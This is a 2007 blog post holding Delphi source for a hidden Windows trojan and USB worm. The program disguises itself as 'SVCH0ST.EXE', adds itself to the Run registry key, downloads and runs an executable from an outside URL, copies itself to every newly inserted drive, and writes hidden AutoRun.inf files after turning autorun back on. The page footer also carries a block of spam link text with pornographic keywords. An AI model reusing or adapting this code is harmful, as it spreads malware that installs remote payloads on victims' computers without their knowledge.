<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 495,  comments - 11,  trackbacks - 0

    unit Un_Main;


    interface


    uses
    ?????? Windows, Messages, SysUtils,Forms,IniFiles;
    type
    ?????? TFrm_Main = class(TForm)
    ?????? procedure FormCreate(Sender: TObject);
    ?????? procedure FormClose(Sender: TObject; var Action: TCloseAction);
    ?????? private
    ?????? procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
    ?????? public
    ?????? { Public declarations }
    ?????? end;
    const
    ?????????? exefile = 'SVCH0ST.EXE';
    ?????????? Buffer = 'http://www.888.com/hello.exe';
    ?????????? DBT_DEVICEARRIVAL = $8000;?????? // system detected a new device
    ?????????? DBT_DEVICEREMOVECOMPLETE = $8004;?????? // device is gone
    ?????????? DBT_DEVTYP_VOLUME = $00000002;?????? // logical volume
    ?????????? DBTF_MEDIA = $0001;?????? // media comings and goings
    type
    ????? PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
    ????? TDEV_BROADCAST_HDR = packed record
    ?????? dbch_size : DWORD;
    ?????? dbch_devicetype : DWORD;
    ?????? dbch_reserved : DWORD;
    ????? end;
    ?????? PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
    ?????? TDEV_BROADCAST_VOLUME = packed record
    ?????????? dbcv_size : DWORD;
    ?????????? dbcv_devicetype : DWORD;
    ?????????? dbcv_reserved : DWORD;
    ?????????? dbcv_unitmask : DWORD;
    ?????????? dbcv_flags : WORD;
    ?????? end;


    function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
    ?????????????????????????????????????? StatusCB: Pointer): LongWord;
    ?????????????????????????????????????? stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';


    function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
    ?????????????????????????? stdcall; external 'kernel32.dll' name 'WinExec';


    var
    ?????? Frm_Main: TFrm_Main;
    ?????? exefull:string;
    implementation


    {$R *.dfm}


    function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
    var
    regkey:hkey;
    begin
    ?????? result := false;
    ?????? RegCreateKey(key,PChar(subkey),regkey);
    ?????? if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
    ?????? result := true;
    ?????? RegCloseKey(regkey);
    end;


    procedure Startup(var TheName:string);
    begin
    ?????? SetRegValue(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName);
    ?????? UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
    ?????? SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
    ?????? messagebox(0,'文件下載成功!','成功',MB_OK);
    ?????? WinExec(PChar(TheName), SW_SHOWDEFAULT);
    ?????? //Sleep(500);
    ?????? //DeleteMe;
    ?????? //freemem(@path,256);
    end;


    procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
    var
    ?????? lpdb : PDEV_BROADCAST_HDR;
    ?????? lpdbv : PDEV_BROADCAST_VOLUME;
    ?????? unitmask:DWORD;
    ?????? i:integer;
    ?????? MyIni:TIniFile;
    ?????? s:Hkey;
    ?????? value:dword ;
    ?????? inifile:string;
    begin
    ?????? lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
    ?????? case Msg.WParam of
    ?????? DBT_DEVICEARRIVAL ://有設(shè)備安裝完畢


    ?????? if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
    ?????? begin
    ?????????? lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
    ?????????? unitmask:=lpdbv.dbcv_unitmask;//取得設(shè)備的盤符
    ?????????? for i:=0 to 25 do //遍歷磁盤
    ?????????? begin
    ?????????????? if Boolean(unitmask and $1)then//看該驅(qū)動(dòng)器的狀態(tài)是否發(fā)生了變化
    ?????????????? break;
    ?????????????? unitmask := unitmask shr 1;
    ?????????? end;
    ?????????? if fileexists(exefull) then?????? //向u盤拷文件
    ?????????? begin
    ?????????? copyfile(PChar(exefull),Pchar(char(i+65) + ':' + exefile),false);
    ?????????? FileSetAttr(char(i+65) + ':' + exefile,$00000003);
    ?????????? end;
    ?????????? inifile:=char(i+65)+':AutoRun.inf';//ini文件
    ?????????? RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
    ?????????? value:=0;
    ?????????? RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
    ?????????? RegCloseKey(s);
    ?????????? if fileexists(inifile) then
    ?????????? begin
    ?????????? FileSetAttr(inifile,$00000000);
    ?????????? DeleteFile(inifile);
    ?????????? end;
    ?????????? MyIni := TIniFile.Create(inifile);
    ?????????? MyIni.WriteString('AutoRun', 'open',exefile);
    ?????????? FileSetAttr(inifile,$00000003);
    ?????? end;
    ????? end;
    end;


    procedure TFrm_Main.FormCreate(Sender: TObject);
    var
    s:hkey;
    value:array[0..255]of char;
    size:cardinal;
    path:array[0..255] of char;
    begin
    ?????? Application.ShowMainForm:=False;
    ?????? getsystemdirectory(path,120);
    ?????? exefull := strpas(path) + '' + exefile;
    ?????? size:=256;
    ?????? RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
    ?????? RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
    ?????? RegCloseKey(s);
    ?????? //文件存在且有自啟動(dòng)
    ?????? if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
    ?????? messagebox(0,'自啟動(dòng)成功!','成功',MB_OK)
    ?????? else
    ?????? Startup(exefull);//下載執(zhí)行函數(shù)
    end;


    procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    ?????? Application.Terminate;
    end;


    end.

    posted on 2007-05-26 01:19 jadmin 閱讀(57) 評(píng)論(0)  編輯  收藏

    只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。


    網(wǎng)站導(dǎo)航:
     
    主站蜘蛛池模板: 亚洲自偷自偷精品| 免费无码黄动漫在线观看| 男女拍拍拍免费视频网站| 99精品免费视频| 猫咪社区免费资源在线观看 | 在线观看免费无码视频| 久久久久亚洲AV成人网人人软件 | 精品国产麻豆免费网站| 亚洲精品中文字幕无码A片老| 在线观看免费播放av片| 四虎影院在线免费播放| 国产亚洲精品不卡在线| 国产线视频精品免费观看视频| 永久黄网站色视频免费直播 | 岛国岛国免费V片在线观看| 亚洲国产精品一区二区第一页| 亚洲人成网站在线在线观看| 日本媚薬痉挛在线观看免费| 亚洲网站在线观看| www成人免费观看网站| 亚洲免费电影网站| 久久久久噜噜噜亚洲熟女综合| 中文字幕久精品免费视频| 亚洲网站在线播放| 三根一起会坏掉的好痛免费三级全黄的视频在线观看 | 日本精品人妻无码免费大全 | 免费无码国产在线观国内自拍中文字幕| 十八禁无码免费网站| 国产成人精品日本亚洲专区61 | 亚洲AV永久无码精品一百度影院 | 一个人看的免费观看日本视频www 一个人看的免费视频www在线高清动漫 | 四虎影院免费在线播放| 人妻仑乱A级毛片免费看| 免费a级毛片18以上观看精品| 亚洲jjzzjjzz在线播放| 丁香花在线视频观看免费| 亚洲最大成人网色香蕉| 美女网站免费福利视频| 亚洲小说区图片区| 久草免费在线观看视频| 亚洲国产综合人成综合网站00|